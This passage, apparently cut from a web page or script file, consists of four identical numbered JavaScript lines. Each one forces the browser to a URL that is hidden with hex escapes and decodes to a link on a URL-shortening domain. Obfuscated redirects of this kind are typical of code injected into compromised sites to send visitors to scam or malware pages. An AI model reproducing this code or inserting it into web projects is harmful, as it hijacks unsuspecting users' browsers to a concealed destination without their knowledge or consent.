948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
949window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
950window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
951window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";